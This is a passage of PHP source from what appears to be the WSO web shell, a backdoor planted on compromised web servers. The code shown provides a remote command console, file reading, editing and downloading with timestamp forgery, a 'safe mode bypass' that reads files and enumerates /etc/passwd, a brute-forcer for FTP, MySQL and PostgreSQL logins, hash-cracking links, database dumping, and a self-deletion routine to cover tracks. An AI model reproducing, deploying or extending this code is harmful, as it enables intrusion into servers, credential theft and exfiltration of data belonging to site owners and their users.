  1141.     <input type=hidden name=c value='" . htmlspecialchars($GLOBALS['cwd']) ."'>
  1142.     <input type=hidden name=charset value='". (isset($_POST['charset'])?$_POST['charset']:'')."'>
  1143.     <select name='p1'><option value='copy'>Copy</option><option value='move'>Move</option><option value='delete'>Delete</option>";
  1144.     if(class_exists('ZipArchive'))
  1145.         echo "<option value='zip'>Compress (zip)</option><option value='unzip'>Uncompress (zip)</option>";
  1146.     echo "<option value='tar'>Compress (tar.gz)</option>";
  1147.     if(!empty($_SESSION['act']) && @count($_SESSION['f']))
  1148.         echo "<option value='paste'>Paste / Compress</option>";
  1149.     echo "</select> ";
  1150.     if(!empty($_SESSION['act']) && @count($_SESSION['f']) && (($_SESSION['act'] == 'zip') || ($_SESSION['act'] == 'tar')))
  1151.         echo "file name: <input type=text name=p2 value='wso_" . date("Ymd_His") . "." . ($_SESSION['act'] == 'zip'?'zip':'tar.gz') . "'> ";
  1152.     echo "<input type='submit' value='>>'></td></tr></form></table></div>";
  1153.     wsoFooter();
  1154. }
  1155.  
  1156. function actionStringTools() {
  1157.     if(!function_exists('hex2bin')) {function hex2bin($p) {return decbin(hexdec($p));}}
  1158.     if(!function_exists('binhex')) {function binhex($p) {return dechex(bindec($p));}}
  1159.     if(!function_exists('hex2ascii')) {function hex2ascii($p){$r='';for($i=0;$i<strLen($p);$i+=2){$r.=chr(hexdec($p[$i].$p[$i+1]));}return $r;}}
  1160.     if(!function_exists('ascii2hex')) {function ascii2hex($p){$r='';for($i=0;$i<strlen($p);++$i)$r.= sprintf('%02X',ord($p[$i]));return strtoupper($r);}}
  1161.     if(!function_exists('full_urlencode')) {function full_urlencode($p){$r='';for($i=0;$i<strlen($p);++$i)$r.= '%'.dechex(ord($p[$i]));return strtoupper($r);}}
  1162.     $stringTools = array(
  1163.         'Base64 encode' => 'base64_encode',
  1164.         'Base64 decode' => 'base64_decode',
  1165.         'Url encode' => 'urlencode',
  1166.         'Url decode' => 'urldecode',
  1167.         'Full urlencode' => 'full_urlencode',
  1168.         'md5 hash' => 'md5',
  1169.         'sha1 hash' => 'sha1',
  1170.         'crypt' => 'crypt',
  1171.         'CRC32' => 'crc32',
  1172.         'ASCII to HEX' => 'ascii2hex',
  1173.         'HEX to ASCII' => 'hex2ascii',
  1174.         'HEX to DEC' => 'hexdec',
  1175.         'HEX to BIN' => 'hex2bin',
  1176.         'DEC to HEX' => 'dechex',
  1177.         'DEC to BIN' => 'decbin',
  1178.         'BIN to HEX' => 'binhex',
  1179.         'BIN to DEC' => 'bindec',
  1180.         'String to lower case' => 'strtolower',
  1181.         'String to upper case' => 'strtoupper',
  1182.         'Htmlspecialchars' => 'htmlspecialchars',
  1183.         'String length' => 'strlen',
  1184.     );
  1185.     if(isset($_POST['ajax'])) {
  1186.         $_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = true;
  1187.         ob_start();
  1188.         if(in_array($_POST['p1'], $stringTools))
  1189.             echo $_POST['p1']($_POST['p2']);
  1190.         $temp = "document.getElementById('strOutput').style.display='';document.getElementById('strOutput').innerHTML='".addcslashes(htmlspecialchars(ob_get_clean()),"\n\r\t\\'\0")."';\n";
  1191.         echo strlen($temp), "\n", $temp;
  1192.         exit;
  1193.     }
  1194.     wsoHeader();
  1195.     echo '<h1>String conversions</h1><div class=content>';
  1196.     if(empty($_POST['ajax'])&&!empty($_POST['p1']))
  1197.         $_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = false;
  1198.     echo "<form name='toolsForm' onSubmit='if(this.ajax.checked){a(null,null,this.selectTool.value,this.input.value);}else{g(null,null,this.selectTool.value,this.input.value);} return false;'><select name='selectTool'>";
  1199.     foreach($stringTools as $k => $v)
  1200.         echo "<option value='".htmlspecialchars($v)."'>".$k."</option>";
  1201.         echo "</select><input type='submit' value='>>'/> <input type=checkbox name=ajax value=1 ".(@$_SESSION[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'')."> send using AJAX<br><textarea name='input' style='margin-top:5px' class=bigarea>".(empty($_POST['p1'])?'':htmlspecialchars(@$_POST['p2']))."</textarea></form><pre class='ml1' style='".(empty($_POST['p1'])?'display:none;':'')."margin-top:5px' id='strOutput'>";
  1202.     if(!empty($_POST['p1'])) {
  1203.         if(in_array($_POST['p1'], $stringTools))echo htmlspecialchars($_POST['p1']($_POST['p2']));
  1204.     }
  1205.     echo"</pre></div><br><h1>Search text in files:</h1><div class=content>
  1206.  
  1207.         <form onsubmit=\"g(null,this.cwd.value,null,this.text.value,this.filename.value);return false;\"><table cellpadding='1' cellspacing='0' width='50%'>
  1208.             <tr><td width='1%'>Text:</td><td><input type='text' name='text' style='width:100%'></td></tr>
  1209.             <tr><td>Path:</td><td><input type='text' name='cwd' value='". htmlspecialchars($GLOBALS['cwd']) ."' style='width:100%'></td></tr>
  1210.             <tr><td>Name:</td><td><input type='text' name='filename' value='*' style='width:100%'></td></tr>
  1211.             <tr><td></td><td><input type='submit' value='>>'></td></tr>
  1212.             </table></form>";
  1213.  
  1214.     function wsoRecursiveGlob($path) {
  1215.         if(substr($path, -1) != '/')
  1216.             $path.='/';
  1217.         $paths = @array_unique(@array_merge(@glob($path.$_POST['p3']), @glob($path.'*', GLOB_ONLYDIR)));
  1218.         if(is_array($paths)&&@count($paths)) {
  1219.             foreach($paths as $item) {
  1220.                 if(@is_dir($item)){
  1221.                     if($path!=$item)
  1222.                         wsoRecursiveGlob($item);
  1223.                 } else {
  1224.                     if(@strpos(@file_get_contents($item), @$_POST['p2'])!==false)
  1225.                         echo "<a href='#' onclick='g(\"FilesTools\",null,\"".urlencode($item)."\", \"view\")'>".htmlspecialchars($item)."</a><br>";
  1226.                 }
  1227.             }
  1228.         }
  1229.     }
  1230.     if(@$_POST['p3'])
  1231.         wsoRecursiveGlob($_POST['c']);
  1232.     echo "</div><br><h1>Search for hash:</h1><div class=content>
  1233.  
  1234.         <form method='post' target='_blank' name='hf'>
  1235.             <input type='text' name='hash' style='width:200px;'><br>
  1236.             <input type='button' value='hashcrack.com' onclick=\"document.hf.action='http://www.hashcrack.com/index.php';document.hf.submit()\"><br>
  1237.             <input type='button' value='milw0rm.com' onclick=\"document.hf.action='http://www.milw0rm.com/cracker/search.php';document.hf.submit()\"><br>
  1238.             <input type='button' value='hashcracking.info' onclick=\"document.hf.action='https://hashcracking.info/index.php';document.hf.submit()\"><br>
  1239.             <input type='button' value='md5.rednoize.com' onclick=\"document.hf.action='http://md5.rednoize.com/?q='+document.hf.hash.value+'&s=md5';document.hf.submit()\"><br>
  1240.             <input type='button' value='md5decrypter.com' onclick=\"document.hf.action='http://www.md5decrypter.com/';document.hf.submit()\"><br>
  1241.         </form></div>";
  1242.     wsoFooter();
  1243. }
  1244.  
  1245. function actionFilesTools() {
  1246.     if( isset($_POST['p1']) )
  1247.         $_POST['p1'] = urldecode($_POST['p1']);
  1248.     if(@$_POST['p2']=='download') {
  1249.         if(@is_file($_POST['p1']) && @is_readable($_POST['p1'])) {
  1250.             ob_start("ob_gzhandler", 4096);
  1251.             header("Content-Disposition: attachment; filename=".basename($_POST['p1']));
  1252.             if (function_exists("mime_content_type")) {
  1253.                 $type = @mime_content_type($_POST['p1']);
  1254.                 header("Content-Type: " . $type);
  1255.             } else
  1256.                 header("Content-Type: application/octet-stream");
  1257.             $fp = @fopen($_POST['p1'], "r");
  1258.             if($fp) {
  1259.                 while(!@feof($fp))
  1260.                     echo @fread($fp, 1024);
  1261.                 fclose($fp);
  1262.             }
  1263.         }exit;
  1264.     }
  1265.     if( @$_POST['p2'] == 'mkfile' ) {
  1266.         if(!file_exists($_POST['p1'])) {
  1267.             $fp = @fopen($_POST['p1'], 'w');
  1268.             if($fp) {
  1269.                 $_POST['p2'] = "edit";
  1270.                 fclose($fp);
  1271.             }
  1272.         }
  1273.     }
  1274.     wsoHeader();
  1275.     echo '<h1>File tools</h1><div class=content>';
  1276.     if( !file_exists(@$_POST['p1']) ) {
  1277.         echo 'File not exists';
  1278.         wsoFooter();
  1279.         return;
  1280.     }
  1281.     $uid = @posix_getpwuid(@fileowner($_POST['p1']));
  1282.     if(!$uid) {
  1283.         $uid['name'] = @fileowner($_POST['p1']);
  1284.         $gid['name'] = @filegroup($_POST['p1']);
  1285.     } else $gid = @posix_getgrgid(@filegroup($_POST['p1']));
  1286.     echo '<span>Name:</span> '.htmlspecialchars(@basename($_POST['p1'])).' <span>Size:</span> '.(is_file($_POST['p1'])?wsoViewSize(filesize($_POST['p1'])):'-').' <span>Permission:</span> '.wsoPermsColor($_POST['p1']).' <span>Owner/Group:</span> '.$uid['name'].'/'.$gid['name'].'<br>';
  1287.     echo '<span>Create time:</span> '.date('Y-m-d H:i:s',filectime($_POST['p1'])).' <span>Access time:</span> '.date('Y-m-d H:i:s',fileatime($_POST['p1'])).' <span>Modify time:</span> '.date('Y-m-d H:i:s',filemtime($_POST['p1'])).'<br><br>';
  1288.     if( empty($_POST['p2']) )
  1289.         $_POST['p2'] = 'view';
  1290.     if( is_file($_POST['p1']) )
  1291.         $m = array('View', 'Highlight', 'Download', 'Hexdump', 'Edit', 'Chmod', 'Rename', 'Touch');
  1292.     else
  1293.         $m = array('Chmod', 'Rename', 'Touch');
  1294.     foreach($m as $v)
  1295.         echo '<a href=# onclick="g(null,null,null,\''.strtolower($v).'\')">'.((strtolower($v)==@$_POST['p2'])?'<b>[ '.$v.' ]</b>':$v).'</a> ';
  1296.     echo '<br><br>';
  1297.     switch($_POST['p2']) {
  1298.         case 'view':
  1299.             echo '<pre class=ml1>';
  1300.             $fp = @fopen($_POST['p1'], 'r');
  1301.             if($fp) {
  1302.                 while( !@feof($fp) )
  1303.                     echo htmlspecialchars(@fread($fp, 1024));
  1304.                 @fclose($fp);
  1305.             }
  1306.             echo '</pre>';
  1307.             break;
  1308.         case 'highlight':
  1309.             if( @is_readable($_POST['p1']) ) {
  1310.                 echo '<div class=ml1 style="background-color: #e1e1e1;color:black;">';
  1311.                 $code = @highlight_file($_POST['p1'],true);
  1312.                 echo str_replace(array('<span ','</span>'), array('<font ','</font>'),$code).'</div>';
  1313.             }
  1314.             break;
  1315.         case 'chmod':
  1316.             if( !empty($_POST['p3']) ) {
  1317.                 $perms = 0;
  1318.                 for($i=strlen($_POST['p3'])-1;$i>=0;--$i)
  1319.                     $perms += (int)$_POST['p3'][$i]*pow(8, (strlen($_POST['p3'])-$i-1));
  1320.                 if(!@chmod($_POST['p1'], $perms))
  1321.                     echo 'Can\'t set permissions!<br><script>document.mf.p3.value="";</script>';
  1322.             }
  1323.             clearstatcache();
  1324.             echo '<script>p3_="";</script><form onsubmit="g(null,null,null,null,this.chmod.value);return false;"><input type=text name=chmod value="'.substr(sprintf('%o', fileperms($_POST['p1'])),-4).'"><input type=submit value=">>"></form>';
  1325.             break;
  1326.         case 'edit':
  1327.             if( !is_writable($_POST['p1'])) {
  1328.                 echo 'File isn\'t writeable';
  1329.                 break;
  1330.             }
  1331.             if( !empty($_POST['p3']) ) {
  1332.                 $time = @filemtime($_POST['p1']);
  1333.                 $_POST['p3'] = substr($_POST['p3'],1);
  1334.                 $fp = @fopen($_POST['p1'],"w");
  1335.                 if($fp) {
  1336.                     @fwrite($fp,$_POST['p3']);
  1337.                     @fclose($fp);
  1338.                     echo 'Saved!<br><script>p3_="";</script>';
  1339.                     @touch($_POST['p1'],$time,$time);
  1340.                 }
  1341.             }
  1342.             echo '<form onsubmit="g(null,null,null,null,\'1\'+this.text.value);return false;"><textarea name=text class=bigarea>';
  1343.             $fp = @fopen($_POST['p1'], 'r');
  1344.             if($fp) {
  1345.                 while( !@feof($fp) )
  1346.                     echo htmlspecialchars(@fread($fp, 1024));
  1347.                 @fclose($fp);
  1348.             }
  1349.             echo '</textarea><input type=submit value=">>"></form>';
  1350.             break;
  1351.         case 'hexdump':
  1352.             $c = @file_get_contents($_POST['p1']);
  1353.             $n = 0;
  1354.             $h = array('00000000<br>','','');
  1355.             $len = strlen($c);
  1356.             for ($i=0; $i<$len; ++$i) {
  1357.                 $h[1] .= sprintf('%02X',ord($c[$i])).' ';
  1358.                 switch ( ord($c[$i]) ) {
  1359.                     case 0:  $h[2] .= ' '; break;
  1360.                     case 9:  $h[2] .= ' '; break;
  1361.                     case 10: $h[2] .= ' '; break;
  1362.                     case 13: $h[2] .= ' '; break;
  1363.                     default: $h[2] .= $c[$i]; break;
  1364.                 }
  1365.                 $n++;
  1366.                 if ($n == 32) {
  1367.                     $n = 0;
  1368.                     if ($i+1 < $len) {$h[0] .= sprintf('%08X',$i+1).'<br>';}
  1369.                     $h[1] .= '<br>';
  1370.                     $h[2] .= "\n";
  1371.                 }
  1372.              }
  1373.             echo '<table cellspacing=1 cellpadding=5 bgcolor=#222222><tr><td bgcolor=#333333><span style="font-weight: normal;"><pre>'.$h[0].'</pre></span></td><td bgcolor=#282828><pre>'.$h[1].'</pre></td><td bgcolor=#333333><pre>'.htmlspecialchars($h[2]).'</pre></td></tr></table>';
  1374.             break;
  1375.         case 'rename':
  1376.             if( !empty($_POST['p3']) ) {
  1377.                 if(!@rename($_POST['p1'], $_POST['p3']))
  1378.                     echo 'Can\'t rename!<br>';
  1379.                 else
  1380.                     die('<script>g(null,null,"'.urlencode($_POST['p3']).'",null,"")</script>');
  1381.             }
  1382.             echo '<form onsubmit="g(null,null,null,null,this.name.value);return false;"><input type=text name=name value="'.htmlspecialchars($_POST['p1']).'"><input type=submit value=">>"></form>';
  1383.             break;
  1384.         case 'touch':
  1385.             if( !empty($_POST['p3']) ) {
  1386.                 $time = strtotime($_POST['p3']);
  1387.                 if($time) {
  1388.                     if(!touch($_POST['p1'],$time,$time))
  1389.                         echo 'Fail!';
  1390.                     else
  1391.                         echo 'Touched!';
  1392.                 } else echo 'Bad time format!';
  1393.             }
  1394.             clearstatcache();
  1395.             echo '<script>p3_="";</script><form onsubmit="g(null,null,null,null,this.touch.value);return false;"><input type=text name=touch value="'.date("Y-m-d H:i:s", @filemtime($_POST['p1'])).'"><input type=submit value=">>"></form>';
  1396.             break;
  1397.     }
  1398.     echo '</div>';
  1399.     wsoFooter();
  1400. }
  1401.  
  1402. function actionSafeMode() {
  1403.     $temp='';
  1404.     ob_start();
  1405.     switch($_POST['p1']) {
  1406.         case 1:
  1407.             $temp=@tempnam($test, 'cx');
  1408.             if(@copy("compress.zlib://".$_POST['p2'], $temp)){
  1409.                 echo @file_get_contents($temp);
  1410.                 unlink($temp);
  1411.             } else
  1412.                 echo 'Sorry... Can\'t open file';
  1413.             break;
  1414.         case 2:
  1415.             $files = glob($_POST['p2'].'*');
  1416.             if( is_array($files) )
  1417.                 foreach ($files as $filename)
  1418.                     echo $filename."\n";
  1419.             break;
  1420.         case 3:
  1421.             $ch = curl_init("file://".$_POST['p2']."\x00".preg_replace('!\(\d+\)\s.*!', '', __FILE__));
  1422.             curl_exec($ch);
  1423.             break;
  1424.         case 4:
  1425.             ini_restore("safe_mode");
  1426.             ini_restore("open_basedir");
  1427.             include($_POST['p2']);
  1428.             break;
  1429.         case 5:
  1430.             for(;$_POST['p2'] <= $_POST['p3'];$_POST['p2']++) {
  1431.                 $uid = @posix_getpwuid($_POST['p2']);
  1432.                 if ($uid)
  1433.                     echo join(':',$uid)."\n";
  1434.             }
  1435.             break;
  1436.     }
  1437.     $temp = ob_get_clean();
  1438.     wsoHeader();
  1439.     echo '<h1>Safe mode bypass</h1><div class=content>';
  1440.     echo '<span>Copy (read file)</span><form onsubmit=\'g(null,null,"1",this.param.value);return false;\'><input type=text name=param><input type=submit value=">>"></form><br><span>Glob (list dir)</span><form onsubmit=\'g(null,null,"2",this.param.value);return false;\'><input type=text name=param><input type=submit value=">>"></form><br><span>Curl (read file)</span><form onsubmit=\'g(null,null,"3",this.param.value);return false;\'><input type=text name=param><input type=submit value=">>"></form><br><span>Ini_restore (read file)</span><form onsubmit=\'g(null,null,"4",this.param.value);return false;\'><input type=text name=param><input type=submit value=">>"></form><br><span>Posix_getpwuid ("Read" /etc/passwd)</span><table><form onsubmit=\'g(null,null,"5",this.param1.value,this.param2.value);return false;\'><tr><td>From</td><td><input type=text name=param1 value=0></td></tr><tr><td>To</td><td><input type=text name=param2 value=1000></td></tr></table><input type=submit value=">>"></form>';
  1441.     if($temp)
  1442.         echo '<pre class="ml1" style="margin-top:5px" id="Output">'.htmlspecialchars($temp).'</pre>';
  1443.     echo '</div>';
  1444.     wsoFooter();
  1445. }
  1446.  
  1447. function actionConsole() {
  1448.     if(!empty($_POST['p1']) && !empty($_POST['p2'])) {
  1449.         $_SESSION[md5($_SERVER['HTTP_HOST']).'stderr_to_out'] = true;
  1450.         $_POST['p1'] .= ' 2>&1';
  1451.     } elseif(!empty($_POST['p1']))
  1452.         $_SESSION[md5($_SERVER['HTTP_HOST']).'stderr_to_out'] = false;
  1453.  
  1454.     if(isset($_POST['ajax'])) {
  1455.         $_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = true;
  1456.         ob_start();
  1457.         echo "d.cf.cmd.value='';\n";
  1458.         $temp = @iconv($_POST['charset'], 'UTF-8', addcslashes("\n$ ".$_POST['p1']."\n".wsoEx($_POST['p1']),"\n\r\t\\'\0"));
  1459.         if(preg_match("!.*cd\s+([^;]+)$!",$_POST['p1'],$match))    {
  1460.             if(@chdir($match[1])) {
  1461.                 $GLOBALS['cwd'] = @getcwd();
  1462.                 echo "c_='".$GLOBALS['cwd']."';";
  1463.             }
  1464.         }
  1465.         echo "d.cf.output.value+='".$temp."';";
  1466.         echo "d.cf.output.scrollTop = d.cf.output.scrollHeight;";
  1467.         $temp = ob_get_clean();
  1468.         echo strlen($temp), "\n", $temp;
  1469.         exit;
  1470.     }
  1471.     wsoHeader();
  1472.     echo "<script>
  1473. if(window.Event) window.captureEvents(Event.KEYDOWN);
  1474. var cmds = new Array('');
  1475. var cur = 0;
  1476. function kp(e) {
  1477.     var n = (window.Event) ? e.which : e.keyCode;
  1478.     if(n == 38) {
  1479.         cur--;
  1480.         if(cur>=0)
  1481.             document.cf.cmd.value = cmds[cur];
  1482.         else
  1483.             cur++;
  1484.     } else if(n == 40) {
  1485.         cur++;
  1486.         if(cur < cmds.length)
  1487.             document.cf.cmd.value = cmds[cur];
  1488.         else
  1489.             cur--;
  1490.     }
  1491. }
  1492. function add(cmd) {
  1493.     cmds.pop();
  1494.     cmds.push(cmd);
  1495.     cmds.push('');
  1496.     cur = cmds.length-1;
  1497. }
  1498.  
  1499. </script>";
  1500.     echo '<h1>Console</h1><div class=content><form name=cf onsubmit="if(d.cf.cmd.value==\'clear\'){d.cf.output.value=\'\';d.cf.cmd.value=\'\';return false;}add(this.cmd.value);if(this.ajax.checked){a(null,null,this.cmd.value,this.show_errors.checked?1:\'\');}else{g(null,null,this.cmd.value,this.show_errors.checked?1:\'\');} return false;"><select name=alias>';
  1501.     foreach($GLOBALS['aliases'] as $n => $v) {
  1502.         if($v == '') {
  1503.             echo '<optgroup label="-'.htmlspecialchars($n).'-"></optgroup>';
  1504.             continue;
  1505.         }
  1506.         echo '<option value="'.htmlspecialchars($v).'">'.$n.'</option>';
  1507.     }
  1508.     if(empty($_POST['ajax'])&&!empty($_POST['p1']))
  1509.         $_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = false;
  1510.     echo '</select><input type=button onclick="add(d.cf.alias.value);if(d.cf.ajax.checked){a(null,null,d.cf.alias.value,d.cf.show_errors.checked?1:\'\');}else{g(null,null,d.cf.alias.value,d.cf.show_errors.checked?1:\'\');}" value=">>"> <nobr><input type=checkbox name=ajax value=1 '.(@$_SESSION[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'').'> send using AJAX <input type=checkbox name=show_errors value=1 '.(!empty($_POST['p2'])||$_SESSION[md5($_SERVER['HTTP_HOST']).'stderr_to_out']?'checked':'').'> redirect stderr to stdout (2>&1)</nobr><br/><textarea class=bigarea name=output style="border-bottom:0;margin:0;" readonly>';
  1511.     if(!empty($_POST['p1'])) {
  1512.         echo htmlspecialchars("$ ".$_POST['p1']."\n".wsoEx($_POST['p1']));
  1513.     }
  1514.     echo '</textarea><table style="border:1px solid #df5;background-color:#555;border-top:0px;" cellpadding=0 cellspacing=0 width="100%"><tr><td width="1%">$</td><td><input type=text name=cmd style="border:0px;width:100%;" onkeydown="kp(event);"></td></tr></table>';
  1515.     echo '</form></div><script>d.cf.cmd.focus();</script>';
  1516.     wsoFooter();
  1517. }
  1518.  
  1519. function actionLogout() {
  1520.     session_destroy();
  1521.     die('bye!');
  1522. }
  1523.  
  1524. function actionSelfRemove() {
  1525.  
  1526.     if($_POST['p1'] == 'yes')
  1527.         if(@unlink(preg_replace('!\(\d+\)\s.*!', '', __FILE__)))
  1528.             die('Shell has been removed');
  1529.         else
  1530.             echo 'unlink error!';
  1531.     if($_POST['p1'] != 'yes')
  1532.         wsoHeader();
  1533.     echo '<h1>Suicide</h1><div class=content>Really want to remove the shell?<br><a href=# onclick="g(null,null,\'yes\')">Yes</a></div>';
  1534.     wsoFooter();
  1535. }
  1536.  
  1537. function actionBruteforce() {
  1538.     wsoHeader();
  1539.     if( isset($_POST['proto']) ) {
  1540.         echo '<h1>Results</h1><div class=content><span>Type:</span> '.htmlspecialchars($_POST['proto']).' <span>Server:</span> '.htmlspecialchars($_POST['server']).'<br>';
  1541.         if( $_POST['proto'] == 'ftp' ) {
  1542.             function bruteForce($ip,$port,$login,$pass) {
  1543.                 $fp = @ftp_connect($ip, $port?$port:21);
  1544.                 if(!$fp) return false;
  1545.                 $res = @ftp_login($fp, $login, $pass);
  1546.                 @ftp_close($fp);
  1547.                 return $res;
  1548.             }
  1549.         } elseif( $_POST['proto'] == 'mysql' ) {
  1550.             function bruteForce($ip,$port,$login,$pass) {
  1551.                 $res = @mysql_connect($ip.':'.$port?$port:3306, $login, $pass);
  1552.                 @mysql_close($res);
  1553.                 return $res;
  1554.             }
  1555.         } elseif( $_POST['proto'] == 'pgsql' ) {
  1556.             function bruteForce($ip,$port,$login,$pass) {
  1557.                 $str = "host='".$ip."' port='".$port."' user='".$login."' password='".$pass."' dbname=postgres";
  1558.                 $res = @pg_connect($str);
  1559.                 @pg_close($res);
  1560.                 return $res;
  1561.             }
  1562.         }
  1563.         $success = 0;
  1564.         $attempts = 0;
  1565.         $server = explode(":", $_POST['server']);
  1566.         if($_POST['type'] == 1) {
  1567.             $temp = @file('/etc/passwd');
  1568.             if( is_array($temp) )
  1569.                 foreach($temp as $line) {
  1570.                     $line = explode(":", $line);
  1571.                     ++$attempts;
  1572.                     if( bruteForce(@$server[0],@$server[1], $line[0], $line[0]) ) {
  1573.                         $success++;
  1574.                         echo '<b>'.htmlspecialchars($line[0]).'</b>:'.htmlspecialchars($line[0]).'<br>';
  1575.                     }
  1576.                     if(@$_POST['reverse']) {
  1577.                         $tmp = "";
  1578.                         for($i=strlen($line[0])-1; $i>=0; --$i)
  1579.                             $tmp .= $line[0][$i];
  1580.                         ++$attempts;
  1581.                         if( bruteForce(@$server[0],@$server[1], $line[0], $tmp) ) {
  1582.                             $success++;
  1583.                             echo '<b>'.htmlspecialchars($line[0]).'</b>:'.htmlspecialchars($tmp);
  1584.                         }
  1585.                     }
  1586.                 }
  1587.         } elseif($_POST['type'] == 2) {
  1588.             $temp = @file($_POST['dict']);
  1589.             if( is_array($temp) )
  1590.                 foreach($temp as $line) {
  1591.                     $line = trim($line);
  1592.                     ++$attempts;
  1593.                     if( bruteForce($server[0],@$server[1], $_POST['login'], $line) ) {
  1594.                         $success++;
  1595.                         echo '<b>'.htmlspecialchars($_POST['login']).'</b>:'.htmlspecialchars($line).'<br>';
  1596.                     }
  1597.                 }
  1598.         }
  1599.         echo "<span>Attempts:</span> $attempts <span>Success:</span> $success</div><br>";
  1600.     }
  1601.     echo '<h1>FTP bruteforce</h1><div class=content><table><form method=post><tr><td><span>Type</span></td>'
  1602.         .'<td><select name=proto><option value=ftp>FTP</option><option value=mysql>MySql</option><option value=pgsql>PostgreSql</option></select></td></tr><tr><td>'
  1603.         .'<input type=hidden name=c value="'.htmlspecialchars($GLOBALS['cwd']).'">'
  1604.         .'<input type=hidden name=a value="'.htmlspecialchars($_POST['a']).'">'
  1605.         .'<input type=hidden name=charset value="'.htmlspecialchars($_POST['charset']).'">'
  1606.         .'<span>Server:port</span></td>'
  1607.         .'<td><input type=text name=server value="127.0.0.1"></td></tr>'
  1608.         .'<tr><td><span>Brute type</span></td>'
  1609.         .'<td><label><input type=radio name=type value="1" checked> /etc/passwd</label></td></tr>'
  1610.         .'<tr><td></td><td><label style="padding-left:15px"><input type=checkbox name=reverse value=1 checked> reverse (login -> nigol)</label></td></tr>'
  1611.         .'<tr><td></td><td><label><input type=radio name=type value="2"> Dictionary</label></td></tr>'
  1612.         .'<tr><td></td><td><table style="padding-left:15px"><tr><td><span>Login</span></td>'
  1613.         .'<td><input type=text name=login value="root"></td></tr>'
  1614.         .'<tr><td><span>Dictionary</span></td>'
  1615.         .'<td><input type=text name=dict value="'.htmlspecialchars($GLOBALS['cwd']).'passwd.dic"></td></tr></table>'
  1616.         .'</td></tr><tr><td></td><td><input type=submit value=">>"></td></tr></form></table>';
  1617.     echo '</div><br>';
  1618.     wsoFooter();
  1619. }
  1620.  
  1621. function actionSql() {
  1622.     class DbClass {
  1623.         var $type;
  1624.         var $link;
  1625.         var $res;
  1626.         function DbClass($type)    {
  1627.             $this->type = $type;
  1628.         }
  1629.         function connect($host, $user, $pass, $dbname){
  1630.             switch($this->type)    {
  1631.                 case 'mysql':
  1632.                     if( $this->link = @mysql_connect($host,$user,$pass,true) ) return true;
  1633.                     break;
  1634.                 case 'pgsql':
  1635.                     $host = explode(':', $host);
  1636.                     if(!$host[1]) $host[1]=5432;
  1637.                     if( $this->link = @pg_connect("host={$host[0]} port={$host[1]} user=$user password=$pass dbname=$dbname") ) return true;
  1638.                     break;
  1639.             }
  1640.             return false;
  1641.         }
  1642.         function selectdb($db) {
  1643.             switch($this->type)    {
  1644.                 case 'mysql':
  1645.                     if (@mysql_select_db($db))return true;
  1646.                     break;
  1647.             }
  1648.             return false;
  1649.         }
  1650.         function query($str) {
  1651.             switch($this->type) {
  1652.                 case 'mysql':
  1653.                     return $this->res = @mysql_query($str);
  1654.                     break;
  1655.                 case 'pgsql':
  1656.                     return $this->res = @pg_query($this->link,$str);
  1657.                     break;
  1658.             }
  1659.             return false;
  1660.         }
  1661.         function fetch() {
  1662.             $res = func_num_args()?func_get_arg(0):$this->res;
  1663.             switch($this->type)    {
  1664.                 case 'mysql':
  1665.                     return @mysql_fetch_assoc($res);
  1666.                     break;
  1667.                 case 'pgsql':
  1668.                     return @pg_fetch_assoc($res);
  1669.                     break;
  1670.             }
  1671.             return false;
  1672.         }
  1673.         function listDbs() {
  1674.             switch($this->type)    {
  1675.                 case 'mysql':
  1676.                         return $this->query("SHOW databases");
  1677.                 break;
  1678.                 case 'pgsql':
  1679.                     return $this->res = $this->query("SELECT datname FROM pg_database WHERE datistemplate!='t'");
  1680.                 break;
  1681.             }
  1682.             return false;
  1683.         }
  1684.         function listTables() {
  1685.             switch($this->type)    {
  1686.                 case 'mysql':
  1687.                     return $this->res = $this->query('SHOW TABLES');
  1688.                 break;
  1689.                 case 'pgsql':
  1690.                     return $this->res = $this->query("select table_name from information_schema.tables where table_schema != 'information_schema' AND table_schema != 'pg_catalog'");
  1691.                 break;
  1692.             }
  1693.             return false;
  1694.         }
  1695.         function error() {
  1696.             switch($this->type)    {
  1697.                 case 'mysql':
  1698.                     return @mysql_error();
  1699.                 break;
  1700.                 case 'pgsql':
  1701.                     return @pg_last_error();
  1702.                 break;
  1703.             }
  1704.             return false;
  1705.         }
  1706.         function setCharset($str) {
  1707.             switch($this->type)    {
  1708.                 case 'mysql':
  1709.                     if(function_exists('mysql_set_charset'))
  1710.                         return @mysql_set_charset($str, $this->link);
  1711.                     else
  1712.                         $this->query('SET CHARSET '.$str);
  1713.                     break;
  1714.                 case 'pgsql':
  1715.                     return @pg_set_client_encoding($this->link, $str);
  1716.                     break;
  1717.             }
  1718.             return false;
  1719.         }
  1720.         function loadFile($str) {
  1721.             switch($this->type)    {
  1722.                 case 'mysql':
  1723.                     return $this->fetch($this->query("SELECT LOAD_FILE('".addslashes($str)."') as file"));
  1724.                 break;
  1725.                 case 'pgsql':
  1726.                     $this->query("CREATE TABLE wso2(file text);COPY wso2 FROM '".addslashes($str)."';select file from wso2;");
  1727.                     $r=array();
  1728.                     while($i=$this->fetch())
  1729.                         $r[] = $i['file'];
  1730.                     $this->query('drop table wso2');
  1731.                     return array('file'=>implode("\n",$r));
  1732.                 break;
  1733.             }
  1734.             return false;
  1735.         }
  1736.         function dump($table, $fp = false) {
  1737.             switch($this->type)    {
  1738.                 case 'mysql':
  1739.                     $res = $this->query('SHOW CREATE TABLE `'.$table.'`');
  1740.                     $create = mysql_fetch_array($res);
  1741.                     $sql = $create[1].";\n";
  1742.                     if($fp) fwrite($fp, $sql); else echo($sql);
  1743.                     $this->query('SELECT * FROM `'.$table.'`');
  1744.                     $head = true;
  1745.                     while($item = $this->fetch()) {
  1746.                         $columns = array();
  1747.                         foreach($item as $k=>$v) {
  1748.                             if($v == null)
  1749.                                 $item[$k] = "NULL";
  1750.                             elseif(is_numeric($v))
  1751.                                 $item[$k] = $v;
  1752.                             else
  1753.                                 $item[$k] = "'".@mysql_real_escape_string($v)."'";
  1754.                             $columns[] = "`".$k."`";
  1755.                         }
  1756.                         if($head) {
  1757.                             $sql = 'INSERT INTO `'.$table.'` ('.implode(", ", $columns).") VALUES \n\t(".implode(", ", $item).')';
  1758.                             $head = false;
  1759.                         } else
  1760.                             $sql = "\n\t,(".implode(", ", $item).')';
  1761.                         if($fp) fwrite($fp, $sql); else echo($sql);
  1762.                     }
